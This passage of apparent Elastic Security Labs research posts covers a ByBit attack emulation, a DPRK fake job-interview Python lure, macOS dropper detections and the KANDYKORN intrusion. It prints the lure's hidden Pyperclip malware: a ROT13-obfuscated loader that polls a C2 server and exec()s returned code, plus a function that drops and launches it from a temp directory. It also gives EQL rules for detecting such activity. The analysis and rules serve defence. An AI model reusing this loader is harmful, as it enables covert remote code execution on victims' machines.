3. Limit MFA Registration to Trusted Paths: Block MFA device creation (CreateVirtualMFADevice, EnableMFADevice) via session tokens unless coming from trusted networks, devices, or IAM roles. Use aws:SessionToken or aws:ViaAWSService as policy context keys to enforce this. This would have prevented the adversary from attempting MFA-based persistence using the hijacked session.

S3 Application Layer Hardening (Frontend Tampering)

After obtaining the AWS session token, the adversary did not perform any IAM enumeration — instead, they pivoted quickly to S3 operations. Using the AWS CLI and temporary credentials, they listed S3 buckets and modified static frontend JavaScript hosted on a public S3 bucket. This allowed them to replace the production Next.js bundle with a malicious variant designed to redirect transactions based on specific wallet addresses.

To prevent this type of frontend tampering, implement the following hardening strategies:

1. Enforce Immutability with S3 Object Lock: Enable S3 Object Lock in compliance or governance mode on buckets hosting static frontend content. This prevents overwriting or deletion of files for a defined retention period - even by compromised users. Object Lock adds a strong immutability guarantee and is ideal for public-facing application layers. Access to put new objects (rather than overwrite) can still be permitted via deployment roles.
2. Implement Content Integrity with Subresource Integrity (SRI): Include SRI hashes (e.g., SHA-256) in the <script> tags within index.html to ensure the frontend only executes known, validated JavaScript bundles. In this attack, the lack of integrity checks allowed arbitrary JavaScript to be served and executed from the S3 bucket. SRI would have blocked this behavior at the browser level.
3. Restrict Upload Access Using CI/CD Deployment Boundaries: Developers should never have direct write access to production S3 buckets. Use separate AWS accounts or IAM roles for development and CI/CD deployment. Only OIDC-authenticated GitHub Actions or trusted CI pipelines should be permitted to upload frontend bundles to production buckets. This ensures human credentials, even if compromised, cannot poison production.
4. Lock Access via CloudFront Signed URLs or Use S3 Versioning: If the frontend is distributed via CloudFront, restrict access to S3 using signed URLs and remove public access to the S3 origin. This adds a proxy and control layer. Alternatively, enable S3 versioning and monitor for overwrite events on critical assets (e.g., /static/js/*.js). This can help detect tampering by adversaries attempting to replace frontend files.

Attack Discovery (AD)

After completing the end-to-end attack emulation, we tested Elastic’s new AI Attack Discovery feature to see if it could connect the dots between the various stages of the intrusion. Attack Discovery integrates with an LLM of your choice to analyze alerts across your stack and generate cohesive attack narratives. These narratives help analysts quickly understand what happened, reduce response time, and gain high-level context. In our test, it successfully correlated the endpoint compromise with the AWS intrusion, providing a unified story that an analyst could use to take informed action.

OSQuery

When running Elastic Defend through Elastic Agent, you can also deploy the OSQuery Manager integration to centrally manage Osquery across all agents in your Fleet. This enables you to query host data using distributed SQL. During our testing of the Dockerized malicious application, we used OSQuery to inspect the endpoint and successfully identified the container running with privileged permissions.

SELECT name, image, readonly_rootfs, privileged FROM docker_containers

We scheduled this query to run on a recurring basis, sending results back to our Elastic Stack. From there, we built a threshold-based detection rule that alerts whenever a new privileged container appears on a user’s system and hasn’t been observed in the past seven days.

Conclusion

The ByBit attack was one of the most consequential intrusions attributed to DPRK threat actors—and thanks to detailed reporting and available artifacts, it also provided a rare opportunity for defenders to emulate the full attack chain end to end. By recreating the compromise of a SAFE developer’s macOS workstation—including initial access, payload execution, and AWS pivoting—we validated our detection capabilities against real-world nation-state tradecraft.

This emulation not only highlighted technical insights—like how PyYAML deserialization can be abused to gain initial access—but also reinforced critical lessons in operational defense: the value of user awareness, behavior-based EDR coverage, secure developer workflows, effective cloud IAM policies, cloud logging and holistic detection/response across platforms.

Adversaries are innovating constantly, but so are defenders—and this kind of research helps tip the balance. We encourage you to follow @elasticseclabs and check out our threat research at elastic.co/security-labs to stay ahead of evolving adversary techniques.

Resources:

1. Bybit – What We Know So Far
2. Safe.eth on X: "Investigation Updates and Community Call to Action"
3. Cryptocurrency APT Intelligence: Unveiling Lazarus Group’s Intrusion Techniques
4. Slow Pisces Targets Developers With Coding Challenges and Introduces New Customized Python Malware
5. Code of Conduct: DPRK’s Python-fueled intrusions into secured networks
6. Elastic catches DPRK passing out KANDYKORN

Few threat actors have garnered as much attention and notoriety in the shadowy world of state-sponsored cyber operations as the Democratic People's Republic of Korea (DPRK). DPRK-affiliated threat groups have consistently demonstrated their use of social engineering tactics coupled with tactical capabilities. At the forefront of their arsenal lies an unexpected weapon: Python.

This versatile programming language, prized for its accessibility and power, has become the tool for DPRK operatives seeking initial access to target systems. These threat actors have successfully penetrated some of the world's most secure networks through a potent combination of meticulously crafted social engineering schemes and elegantly disguised Python code.

This publication will examine the DPRK's use of social engineering and Python-based lures for initial access. Building on research published by the Reversing Labs team for the campaign they call VMConnect, we'll explore a very recent real-world example, dissect the code, and examine what makes these attacks so effective. By understanding these techniques, we aim to shed light on the evolving landscape of state-sponsored cyber threats and equip defenders with the knowledge to combat them.

Key takeaways

• The sophistication of DPRK's social engineering tactics often involves long-term persona development and targeted narratives.
• The use of Python for its ease of obfuscation, extensive library support, and ability to blend with legitimate system activities.
• These lures evidence the ongoing evolution of DPRK's techniques, which highlights the need for continuous vigilance and adaptation in cyber defense strategies.
• The Python script from this campaign includes modules that allow for the execution of system commands and to write and execute local files

RookeryCapital_PythonTest.zip

This sample is distributed under the guise of a Python coding challenge for a “Capital One” job interview. It contains a known Python module that appears innocent on the surface. This module includes standard clipboard management functionality but also harbors obfuscated code capable of exfiltrating data and executing arbitrary commands.

Using encoding techniques like Base64 and ROT13, the attacker camouflaged dangerous functionality to evade detection by both human reviewers and automated security scans. The code reaches out to a remote server, downloading and executing commands under the guise of clipboard operations. It is a perfect example of how easily malicious functionality can be masked in standard code.

We'll analyze this Python application line by line, uncovering how it:

• Establishes a connection to a malicious server
• Executes hidden commands via remote code execution (RCE)
• Uses common obfuscation techniques to fly under the radar
• Embeds persistent retry mechanisms to ensure successful communication

PasswordManager.py

This “Python Challenge” is provided via a .zip file containing a Python application called “PasswordManager”. This application primarily consists of a main script, PasswordManager.py, and two Python modules, Pyperclip and Pyrebase.

Examining the README.md file first, it is evident that this is meant to be some sort of interview challenge or assessment, but what immediately piqued our interest were the following lines:

This was interesting as they wanted to ensure that the application was run before the user made any changes that may cause certain functionality to break or become noticeable.

The main PasswordManager.py file looks like the makings of a basic Python password manager application. Of course, as we noted above, the application imports two third-party modules (Pyperclip and Pyrebase) into this main script.

Pyperclip module

The Pyperclip module has two files, __init__.py and __main__.py.

In Python, modules often consist of multiple files, with two important ones being __init__.py and __main__.py. The __init__.py file initializes a Python package, allowing it to function when imported, while the __main__.py file allows the module to be run as a standalone program.

init.py

__init__.py is the first module to be imported and primarily facilitates clipboard operations on various platforms (Windows, macOS, Linux, etc.). The bulk of this code is designed to detect the platform (Windows, Linux, macOS) and provide the appropriate clipboard handling functions (copy, paste), relying on native utilities (e.g., pbcopy for macOS, xclip for Linux) or Python libraries (e.g., gtk, PyQt4/PyQt5).

The imports reveal potentially interesting or suspicious functionality from libraries such as base64, codecs, subprocess, and tempfile. The base64 module provides encoding or decoding capabilities, which can be used to hide or obfuscate sensitive information. When paired with codecs, another module often used for encoding or decoding text (in this case, using the ROT13 cipher), it becomes clear that the script is manipulating data to evade detection.

The presence of the subprocess module is particularly concerning. This module allows the script to run system commands, opening the door for executing arbitrary code on the machine. This module can execute external scripts, launch processes, or install malicious binaries.

The inclusion of the tempfile module is also noteworthy. This module creates temporary files that can be written to and executed, a common technique malware uses to hide its tracks. This module suggests the script may be writing content to disk and executing it within a temporary directory.

import contextlib
import ctypes
import os
import platform
import subprocess
import sys
import time
import warnings
import requests
import datetime
import platform
import codecs
import base64
import tempfile
import subprocess
import os

init.py imports

Analyzing the script a large base64 encoded blob assigned to the variable req_self quickly stands out.

req_self = "aW1wb3J0IHN0….Y29udGludWUNCg=="

Decoding this Base64 encoded string reveals an entirely new and self-contained Python script with some very interesting code.

Obfuscated Python Script

The script imports several standard libraries (e.g., requests, random, platform), allowing it to generate random data, interact with the operating system, encode/decode strings, and make network requests.

import string
import random
import requests
import platform
from time import sleep
import base64
import os
import codecs

Encoded Python script imports

The script contains two functions named co and rand_n.

The co function operates as a helper function. This function checks the current operating system (osn). It uses the codecs.decode function with ROT13 encoding to decode the string Jvaqbjf, which results in Windows. If the operating system is Windows, it returns 0; otherwise, it returns 1.

def co(osn):
  if osn == codecs.decode('Jvaqbjf', 'rot13'):
      return 0
  else:
      return 1

co function within encoded Python script

Decoding ROT13 can easily be done on the macOS or Linux CLI or with the ROT13 CyberChef recipe.

$ echo "Jvaqbjf" | tr '[A-Za-z]' '[N-ZA-Mn-za-m]'
Windows

The rand_n function generates an 8-digit pseudorandom number from the string 123456789. This is likely used as an identifier (uid) in further communication with the remote server.

def rand_n():
  _LENGTH = 8
  str_pool = "123456789"
  result = ""
  for i in range(_LENGTH):
      result += random.choice(str_pool)
  return result

rand_n function within encoded Python script

Following the function declarations, the script defines a set of variables with hardcoded values it will use.

uid = rand_n()
f_run = ""
oi = platform.system()
url = codecs.decode('uggcf://nxnznvgrpuabybtvrf.bayvar/', 'rot13')
headers = {"Content-Type": "application/json; charset=utf-8"}
data = codecs.decode('Nznmba.pbz', 'rot13') + uid + "pfrr" + str(co(oi))

Encoded Python script variables

• uid: Random identifier generated using rand_n()
• oi: The operating system platform
• url: After decoding using ROT13, this resolves to a URL for a malicious server (https://akamaitechnologies[.]online). The threat actor is obviously attempting to evade detection by encoding the URL and disguising it as a seemingly legitimate service (Akamai), which is a known CDN provider.
• data: This is the data payload being sent to the server. It includes a decoded string (Amazon[.]com), the random uid, and the result of co(oi) which checks if the OS is Windows.

The last part of the script is the main while loop.

while True:
  try:
      response = requests.post(url, headers=headers, data=data)
      if response.status_code != 200:
          sleep(60)
          continue
      else:
          res_str = response.text
          if res_str.startswith(codecs.decode('Tbbtyr.pbz', 'rot13')) and len(response.text) > 15:
              res = response.text
              borg = res[10:]
              dec_res = base64.b64decode(borg).decode('utf-8')

              globals()['pu_1'] = uid
              globals()['pu_2'] = url
              exec(compile(dec_res, '', 'exec'), globals())
              sleep(1)
              break
          else:
              sleep(20)
              pass

  except:
      sleep(60)
      continue

Encoded Python script main while loop

The first try block sends an HTTP POST request to the malicious server (url) with the headers and data. If the server responds with a status code other than 200 OK, the script waits 60 seconds and retries.

Else, if the response starts with the decoded string 'Google.com' and the response length is greater than 15, it extracts a base64-encoded portion of the response. It then decodes this portion and executes the decoded script using exec(compile(dec_res, '', 'exec'), globals()). This allows the attacker to send arbitrary Python code to be executed on the victim's machine.

Towards the end of the loop it sets global variables with the random uid and the URL used in communication with the remote server. This is used later when executing the downloaded payload.

Now that we understand the purpose of the encoded Python script let's go back to the __inity__.py script and break down the function that executes the base64-encoded section.

inity.py

Back within the __inity__.py script we can look for any other reference to the req_self variable to see what the script does with that encoded Python script. We find one single reference located in a function defined as cert_acc.

def cert_acc():
  ct_type = platform.system()
  l_p = tempfile.gettempdir()

  if ct_type == codecs.decode("Jvaqbjf", stream_method):
      l_p = l_p + codecs.decode('\\eronfr.gzc', stream_method)
      header_ops = codecs.decode(push_opr, stream_method) + l_p
  else:
      l_p = l_p + codecs.decode('/eronfr.gzc', stream_method)
      header_ops = codecs.decode(push_ops, stream_method) + l_p

  request_query = open(l_p, 'w')
  request_object = base64.b64decode(req_self)
  request_query.write(request_object.decode('utf-8'))
  request_query.close()
  try:
      if ct_type == codecs.decode("Jvaqbjf", stream_method):
          subprocess.Popen(header_ops, creationflags=subprocess.DETACHED_PROCESS)
      else:
          subprocess.Popen(header_ops, shell=True, preexec_fn=os.setpgrp)
  except:
      pass
cert_acc()

ct_type = platform.system()

This variable retrieves the current operating system type (e.g., Windows, Linux, Darwin for macOS) using the platform.system() function. The value is stored in the ct_type variable.

l_p = tempfile.gettempdir()

This variable calls the tempfile.gettempdir() function, which returns the path to the system's temporary directory. This directory is commonly used for storing temporary files that the system or programs create and then delete upon reboot. The value is assigned to l_p.

The if-else block takes advantage of the codecs library decode function using ROT13 to decode the string Jvaqbjf, which translates to Windows. This checks if the system type is Windows. If the system is Windows, the code appends a ROT13-decoded string (which turns out to be \eronfr.gzc, \rebase.tmp after decoding) to the temporary directory path l_p. It then constructs a command header_ops, which likely combines the decoded push_opr variable (also using ROT13) with the path.

If the system is not Windows, it appends a Unix-like file path /eronfr.gzc (/rebase.tmp after decoding) and similarly constructs a command using push_ops. This part of the code is designed to run different payloads or commands depending on the operating system.

if ct_type == codecs.decode("Jvaqbjf", stream_method):
      l_p = l_p + codecs.decode('\\eronfr.gzc', stream_method)
      header_ops = codecs.decode(push_opr, stream_method) + l_p
  else:
      l_p = l_p + codecs.decode('/eronfr.gzc', stream_method)
      header_ops = codecs.decode(push_ops, stream_method) + l_p

The next several statements, starting with request_, serve to write the Base64-encoded Python script we have already analyzed to disk in the temporary directory. This code opens a new file in the temporary directory (l_p), which was previously set depending on the system type. The variable req_self` (also a Base64-encoded string) is decoded into its original form. The decoded content is written into the file, and the file is closed.

request_query = open(l_p, 'w')
  request_object = base64.b64decode(req_self)
  request_query.write(request_object.decode('utf-8'))
  request_query.close()

The function's final try block facilitates the execution of the encoded Python script.

If the system type is Windows, the code attempts to execute the file (constructed in header_ops) using the subprocess.Popen function. The DETACHED_PROCESS flag ensures that the process runs independently of the parent process, making it harder to track.

If the system is not Windows, it runs the file using a different execution method (subprocess.Popen with shell=True), which is more common for Unix-like systems (Linux/macOS). The preexec_fn=os.setpgrp makes the process immune to terminal interrupts, allowing it to run in the background.

try:
      if ct_type == codecs.decode("Jvaqbjf", stream_method):
          subprocess.Popen(header_ops, creationflags=subprocess.DETACHED_PROCESS)
      else:
          subprocess.Popen(header_ops, shell=True, preexec_fn=os.setpgrp)
  except:
      pass

The cert_acc function executes the obfuscated Python script, which retrieves commands to be executed within the cert_acc function.

The script within the Pyperclip package exhibits clear signs of malicious behavior, using obfuscation techniques like ROT13 and Base64 encoding to hide its true intent. It identifies the operating system and adapts its actions accordingly, writing to disk and executing an obfuscated Python script in the system’s temporary directory. The script establishes communication with a remote server, enabling remote code execution (RCE) and allowing the attacker to send further commands. This carefully concealed process ensures the script runs stealthily, avoiding detection while maintaining effective C2 (Command and Control) over the infected machine.

Campaign intersections

When we found this sample, we also came across additional samples that matched its code implementation and previous campaign lures we have observed in the wild.

This lure again masquerades as a Python coding challenge delivered under the guise of a job interview. Its Python code implementation matches exactly the code we’ve analyzed above, and based on description and filename, it matches the lure described by Mandiant as “CovertCatch.”

The next lure is different from the previous ones but matches the Python code implementation we have seen and written about previously. Last year, we brought to light the malware known as “KandyKorn” that targeted CryptoCurrency developers and engineers.

Detection, Hunting and Mitigation Strategies

Detecting and mitigating this type of obfuscated malicious code and its behavior requires a combination of proactive security measures, monitoring, and user awareness.

The best mitigation strategy against these lures and initial access campaigns is to educate your users regarding the extensive, targeted methods threat actors, like the DPRK, employ to gain code execution. Knowledge regarding these campaigns and being able to recognize them combined with a strong emphasis on proper code analysis before execution, especially when it comes to 3rd party applications like this, from “recruiters”, “developer forums”, “Github”, etc., will provide a strong foundation of defense against these attacks.

Regarding this sample specifically, there are a few different detections we can write surrounding the behavior of the code execution mechanism and the potential resulting use cases associated with that activity. While these queries are macOS-specific, you can take them and alter them to detect the same activity on Windows as well.

[Detection] Python Subprocess Shell Tempfile Execution and Remote Network Connection

sequence by process.parent.entity_id with maxspan=3s
[process where event.type == "start" and event.action == "exec" and process.parent.name : "python*"
 and process.name : ("sh", "zsh", "bash") and process.args == "-c" and process.args : "python*"]
[network where event.type == "start"]

This rule looks for the specific behavior exhibited when the __init__.py sample writes the obfuscated Python script to disk and utilizes the subprocess.Popen method, setting the shell variable equal to True to execute the Python script that connects to a remote server to retrieve and execute commands.

[Hunt] Python Executable File Creation in Temporary Directory

file where event.type == "modification" and file.Ext.header_bytes : ("cffaedfe*", "cafebabe*")
 and (process.name : "python*" or Effective_process.name : "python*") and file.path : ("/private/tmp/*", "/tmp/*")

If the threat actor attempts to use this functionality to download an executable payload within the temporary directory already specified in the script, we could use this rule to look for the creation of an executable file in a temporary directory via Python.

[Hunt] Interactive Shell Execution via Python

process where host.os.type == "macos" and event.type == "start" and event.action == "exec" 
and process.parent.name : "python*" and process.name : ("sh", "zsh", "bash")
 and process.args == "-i" and process.args_count == 2

The threat actor could use the execution functionality to open an interactive shell on the target system to carry out post-exploitation actions. We have seen nation-state actors employ an interactive shell like this. We could use this rule to look for the creation of this interactive shell via Python.

[Hunt] Suspicious Python Child Process Execution

process where event.type == "start" and event.action == "exec" and process.parent.name : "python*"
 and process.name : ("screencapture", "security", "csrutil", "dscl", "mdfind", "nscurl", "sqlite3", "tclsh", "xattr")

The threat actor could also use this code execution capability to directly execute system binaries for various post-exploitation goals or actions. This rule looks for the direct execution of some local system tools that are not commonly used, especially via Python.

Conclusion and Future Trends

As we've explored throughout this analysis, the Democratic People's Republic of Korea (DPRK) has emerged as a formidable force in state-sponsored cyber operations. Combining social engineering with Python-based lures, their approach has proven successful in organizations with wide-ranging security maturity.

Their use of Python for initial access operations is a testament to the evolving nature of cyber threats. By leveraging this versatile and widely used programming language, threat actors have found a powerful tool that offers both simplicity in development and complexity in obfuscation. This dual nature of Python in their hands has proven to be a significant challenge for cybersecurity defenders.

Our deep dive into this recent sample has provided valuable insights into DPRK threat actors' current tactics, techniques, and procedures (TTPs). This case study exemplifies how social engineering and tailored Python scripts can work in tandem as highly effective initial access vectors.

As state-sponsored cyber operations advance, the insights gained from studying DPRK's methods become increasingly valuable. Cybersecurity professionals must remain alert to the dual threat of social engineering and sophisticated Python-based tools. Defending against these threats requires a multi-faceted approach, including robust technical controls, comprehensive staff training on social engineering tactics, and advanced threat detection capabilities focused on identifying suspicious Python activities.

As we move forward, fostering collaboration within the cybersecurity community and sharing insights and strategies to counter these sophisticated threats is crucial. We hope to stay ahead in this ongoing cyber chess game against state-sponsored actors like the DPRK through collective vigilance and adaptive defense mechanisms.

Resources

• Fake recruiter coding tests target devs with malicious Python packages
• Threat Assessment: North Korean Threat Groups
• DeFied Expectations — Examining Web3 Heists | Google Cloud Blog
• Elastic catches DPRK passing out KANDYKORN — Elastic Security Labs

On January 12, 2024, Malwrhunterteam, an X account that surfaces interesting malware samples, usually found via VirusTotal, released a Tweet about a pirated macOS application that appeared to contain malicious capabilities. macOS security researcher Patrick Wardle quickly released a write-up detailing the application’s malicious functionality, which included dropping second and third-stage payloads. Shortly after, the team at JAMF Threat Labs released a blog that captured several additional sibling samples that JAMF had been tracking before the Malwrhunterteam tweet, delving deep into the internals and core functionality this malware provides. If you have not read both of these great write-ups, there are a lot of helpful details and background information in these sources that will add context to the rest of this analysis.

This publication will not cover the malware internals or related samples. Instead, we will look to provide practical, resilient detection and threat hunting guidance that can enable you to alert on the actions taken by this, or similarly related, malware. Signature-based detections commonly fall short of such capabilities; however, we will highlight how our behavior rules deal with this.

We will be breaking down the malware's actions in each stage and analyzing how we can use the data from the macOS Endpoint Security Framework (ESF) and the Elastic Agent to build these detections. Let's dig in.

UltraEdit

The UltraEdit application (a legitimate text and hex editor) was pirated (altered and then abused to facilitate malware distribution) along with several other applications and distributed via a disk image file (.dmg).

Upon executing the pirated version of the application, it immediately loads a 3rd party, unsigned dylib (macOS shared library) called libConfigurer64.dylib. This dylib acts as a dropper whose goal is to download and execute follow-on payloads. The dylib downloads and executes two hidden files: /private/tmp/.test and /Users/Shared/.fseventsd.

Looking at the initial actions taken by the application, we can see the unsigned 3rd party dylib load takes place immediately post-execution in the Analyzer View of the Elastic Security Solution. This is an important event to focus on because it is the only non-system library loaded.

In version 8.11, Elastic Defend introduced a first-of-its-kind dylib load event for the macOS Elastic Agent, allowing us to capture library loads and details regarding those libraries, such as dylib signature data. With this powerful new visibility, we can quickly build an Event Query Language (EQL) query that looks for unsigned dylib loads from a volume mount or the applications directory structure.

Rule Name: Application Unsigned Dylib Load

library where event.action == "load" and dll.path :  
("/Volumes/*.app/Contents/*", "/Applications/*.app/Contents/*") 
and dll.code_signature.exists == false

We can and should take this a step further to identify only untrusted or unsigned processes that are loading an unsigned library. This will reduce the amount of false positives and still accurately capture the event taking place.

Rule Name: Unsigned or Untrusted Application Unsigned Dylib Load

library where event.action == "load" and  
(process.code_signature.exists == false or process.code_signature.trusted == false)  
and dll.path : ("/Volumes/*.app/Contents/*", "/Applications/*.app/Contents/*") and  
dll.code_signature.exists == false

We now have a behavior-based detection that triggers on the unsigned process that loads the unsigned dylib and alerts us to its presence.

Let’s look at the additional payloads and their actions to see if we can build any additional detections.

.test

The .test binary gets placed in the temporary directory, post download (/private/tmp/.test), and executed with process arguments containing a path to an SSH binary. Noted by JAMF Threat Labs, this SSH binary is not in the default location of the SSH binary on macOS, which really resides at /usr/bin/ssh. This command line does not correlate with any intended functionality but rather an attempt to blend in.

As Patrick Wardle and JAMF stated, this binary is a macOS build of the open source, cross-platform post-exploitation agent known as Khepri and provides full backdoor access to a target system.

From a detection perspective, we could create a very specific query here that looks for hidden binaries (files prefixed with a period are hidden from the user’s view in the GUI and CLI) executing from suspicious locations that contain process arguments containing the path to the SSH binary.

The issue with creating a query like this is that, as JAMF pointed out:

one particularly interesting technique that the malware uses is replacing its command-line arguments to further blend in with the operating system.

The malware updates these process arguments between samples, so while this query might detect one of the samples, they could easily change it and bypass this detection.

Instead of the process arguments, we could focus on the unsigned, hidden binary executing from a suspicious directory like /tmp.

Rule Name: Untrusted or Unsigned Hidden Binary Executed from Temporary Directory

process where event.type == "start" and event.action == "exec" and  
process.executable : ("/private/tmp/*", "/tmp/*") and  
process.name : ".*" and (process.code_signature.exists == false or  
process.code_signature.trusted == false)

With the above rule, if any hidden unsigned or untrusted binaries attempt to execute from a temporary directory, we will be alerted irrespective of whether our signature or our machine learning models detect it.

(A note on false positives: It will happen, even though it should be extremely rare, to see hidden binaries executing from a temporary directory on macOS. There are many developers on macOS that adopt poor software development practices. False positives should be reviewed case-by-case and only excluded via the rule or Elastic exclusion list if the software is business-approved and validated.)

In addition to this rule, since the hidden payloads make outbound command and control network connections, we could also look for any outbound network connections from a hidden executable, as that is very suspicious activity on macOS and should warrant an alert at least. If you want to reduce the possibility of false positives, specify specific process executable directories like /Users/Shared/ or /tmp/ etc., or include process code signature data specifying unsigned or untrusted hidden executables.

Rule Name: Hidden Executable Outbound Network Connection

network where event.type == "start" and 
event.action == “connection_attempted” and process.name : ".*"

Since this is a backdoor payload that offers a variety of functionality (upload, download, etc.), it would be prudent to create additional rules that look for some of these actions from an unsigned or untrusted, hidden binary. Since we already have a rule that would detect the hidden binary's initial execution, we will move on to the next payload.

.fseventsd

.fseventsd was the second payload dropped by the malicious dylib at (/Users/Shared/.fseventsd). This payload’s purpose was to provide a persistent foothold on the victim’s machine utilizing a masqueraded launch agent and to act as a downloader for another payload that has yet to be found. Still, we know from reverse engineering of .fseventsd is named (.fseventsds).

We can see via the Elastic Analyzer View the first notable event is the persistence installation of a masqueraded launch agent.

This activity can be tackled from two different angles. We could first detect this by looking for the masqueraded .plist file utilizing file events and process code signature data. In the below behavior rule, we look for files where the file name starts with com.apple… and the file path is a Library/LaunchAgent or Library/LaunchDaemon, and the responsible process is unsigned or untrusted.

Rule Name: Persistence via a Masqueraded Plist Filename

file where event.type != "deletion" and 
 file.name : "*com.apple*.plist" and
 file.path :
       ("/System/Library/LaunchAgents/*", 
        "/Library/LaunchAgents/*",
        "/Users/*/Library/LaunchAgents/*",
        "/System/Library/LaunchDaemons/*",
        "/Library/LaunchDaemons/*") and
(process.code_signature.trusted == false or  
process.code_signature.exists == false)

The second way we can detect this persistent install technique is to take advantage of another new data source unique to Elastic Agent, which my colleague Ricardo Ungureanu and I added to version 8.6 of Elastic Defend. We created an aptly named persistence event that monitors the launch services directories and collects the plist details, sending them back in a structured event that can be used to create rules around suspicious or malicious Launch Agents or Daemons.

In the following rule, we look for launch events where the runatload value is set to true or the keepalive value is set to true. The plist arguments contain the path to a hidden executable in the /Users/Shared directory. This rule could be expanded to include additional suspicious or malicious arguments that would alert you to the installation of persistence by a malicious or suspicious binary.

Rule Name: Persistence via Suspicious Launch Agent or Launch Daemon

file where event.action == "launch_daemon" and  
(Persistence.runatload == true or Persistence.keepalive == true) and 
  Persistence.args : "/Users/Shared/.*"

The masqueraded plist could also be detected using this persistence event using the below query.

file where event.action == "launch_daemon" and  
Persistence.name : "com.apple.*" and  
(process.code_signature.exists == false or 
process.code_signature.trusted == false)

The final piece here is the downloading of the missing 3rd stage payload. The hidden .fseventsd located in the /Users/Shared folder reaches out to download this new hidden payload to the /tmp/ directory. You might remember we already created two rules (“Hidden Binary Executed from Temporary Directory” and “Hidden Executable Outbound Network Connection”) that would detect this activity.

We could add another rule to catch when a hidden executable is created in a suspicious directory. We can look for any file event where the event action is not the deletion of the file, the file name denotes a hidden file, the file contains Mach-O header bytes, and the file path is a path where the execution of a hidden file is not common. We collect file header bytes if the file is an executable, allowing us to denote executable files from other types of files not based solely on the file extension.

Rule Name: Hidden Executable Created in Unusual Directory

file where event.action != "deletion" and file.name : ".*" and 
file.Ext.header_bytes : ("cffaedfe*", "cafebabe*") and 
file.path : ("/Users/Shared/*", "/private/tmp/*", "/tmp/*")

Summary

This malware is representative of many campaigns targeting macOS today. Our report on the DPRK malware KANDYKORN shows that these campaigns are modular, encompassing multiple stages of payloads with capabilities and functionality distributed between these payloads to avoid detection. You can see that with UltraEdit, one payload serves as the interactive backdoor and the other as the persistence mechanism. Malware like this can often easily update to avoid signatures. Still, as we have shown, behavior rules are unavoidable and allow us to bridge the gap between static signatures and machine learning models.

Behavior-based rules are very powerful if you have the right data and the ability to correlate that data. Our endpoint behavior rules can detect and prevent malware regardless of whether it updates or not. We have over 200+ endpoint behavior rules on macOS alone, including versions of those shown in this publication, that allow us to detect and prevent previously “undetected” malware by observing its actions in real time. If you want to check out our production endpoint behavior rules, they can be found here. To learn more about our query languages, you can look here (EQL and ES|QL). We are proud to be an open source company and want to let our software and features speak for themselves. If you want to test and explore these features for yourself, you can easily create an Elastic Cloud Account with a 30-day trial license, or for local testing, you can download “The Elastic Container Project” and set the license value to trial in the .env file.

References

• https://twitter.com/malwrhunterteam/status/1745959438140297697
• https://objective-see.org/blog/blog_0x79.html
• https://jamf.com/blog/jtl-malware-pirated-applications
• https://developer.apple.com/documentation/endpointsecurity

Elastic Security Labs is disclosing a novel intrusion targeting blockchain engineers of a crypto exchange platform. The intrusion leveraged a combination of custom and open source capabilities for initial access and post-exploitation.

We discovered this intrusion when analyzing attempts to reflectively load a binary into memory on a macOS endpoint. The intrusion was traced to a Python application posing as a cryptocurrency arbitrage bot delivered via a direct message on a public Discord server.

We attribute this activity to DPRK and recognize overlaps with the Lazarus Group based on our analysis of the techniques, network infrastructure, code-signing certificates, and custom Lazarus Group detection rules; we track this intrusion set as REF7001.

Key takeaways

• Threat actors lured blockchain engineers with a Python application to gain initial access to the environment
• This intrusion involved multiple complex stages that each employed deliberate defense evasion techniques
• The intrusion set was observed on a macOS system where an adversary attempted to load binaries into memory, which is atypical of macOS intrusions

Execution flow

Attackers impersonated blockchain engineering community members on a public Discord frequented by members of this community. The attacker social-engineered their initial victim, convincing them to download and decompress a ZIP archive containing malicious code. The victim believed they were installing an arbitrage bot, a software tool capable of profiting from cryptocurrency rate differences between platforms.

This execution kicked off the primary malware execution flow of the REF7001 intrusion, culminating in KANDYKORN:

• Stage 0 (Initial Compromise) - Watcher.py
• Stage 1 (Dropper) - testSpeed.py and FinderTools
• Stage 2 (Payload) - .sld and .log - SUGARLOADER
• Stage 3 (Loader)- Discord (fake) - HLOADER
• Stage 4 (Payload) - KANDYKORN

Stage 0 Initial compromise: Watcher.py

The initial breach was orchestrated via a camouflaged Python application designed and advertised as an arbitrage bot targeted at blockchain engineers. This application was distributed as a .zip file titled Cross-Platform Bridges.zip. Decompressing it reveals a Main.py script accompanied by a folder named order_book_recorder, housing 13 Python scripts.

The victim manually ran the Main.py script via their PyCharm IDE Python interpreter.

Initially, the Main.py script appears benign. It imports the accompanying Python scripts as modules and seems to execute some mundane functions.

While analyzing the modules housed in the order_book_recorder folder, one file -- Watcher.py -- clearly stood out and we will see why.

Main.py acts as the initial trigger, importing Watcher.py as a module that indirectly executes the script. The Python interpreter runs every top-level statement in Watcher.py sequentially.

The script starts off by establishing local directory paths and subsequently attempts to generate a _log folder at the specified location. If the folder already exists, the script remains passive.

The script pre-defines a testSpeed.py file path (destined for the just created _log folder) and assigns it to the output variable. The function import_networklib is then defined. Within it, a Google Drive URL is initialized.

Utilizing the Python urllib library, the script fetches content from this URL and stashes it in the s_args variable. In case of retrieval errors, it defaults to returning the operating system's name. Subsequently, the content from Google Drive (now in s_args) is written into the testSpeed.py file.

The next function, get_modules_base_version, probes the Python version and invokes the import_networklib function if it detects version 3. This call sets the entire sequence in motion.

Watcher.py imports testSpeed.py as a module, executing the contents of the script.

Concluding its operation, the malicious script tidies up, deleting the testSpeed.py file immediately after its one-time execution.

Stage 1 droppers testSpeed.py and FinderTools

When executed, testSpeed.py establishes an outbound network connection and fetches another Python file from a Google Drive URL, named FinderTools. This new file is saved to the /Users/Shared/ directory, with the method of retrieval mirroring the Watcher.py script.

After download, testSpeed.py launches FinderTools, providing a URL (tp-globa[.]xyz//OdhLca1mLUp/lZ5rZPxWsh/7yZKYQI43S/fP7savDX6c/bfC) as an argument which initiates an outbound network connection.

FinderTools is yet another dropper, downloading and executing a hidden second stage payload .sld also written to the /Users/Shared/ directory.

Stage 2 payload .sld and .log: SUGARLOADER

Stage 2 involves the execution of an obfuscated binary we have named SUGARLOADER, which is utilized twice under two separate names (.sld and .log).

SUGARLOADER is first observed at /Users/shared/.sld. The second instance of SUGARLOADER, renamed to .log, is used in the persistence mechanism REF7001 implements with Discord.

Obfuscation

SUGARLOADER is used for initial access on the machine, and initializing the environment for the final stage. This binary is obfuscated using a binary packer, limiting what can be seen with static analysis.

The start function of this binary consists of a jump (JMP) to an undefined address. This is common for binary packers.

HEADER:00000001000042D6 start:
HEADER:00000001000042D6                 jmp     0x10000681E

Executing the macOS file object tool otool -l ./log lists all the sections that will be loaded at runtime.

Section
  sectname __mod_init_func
   segname lko2
      addr 0x00000001006983f0
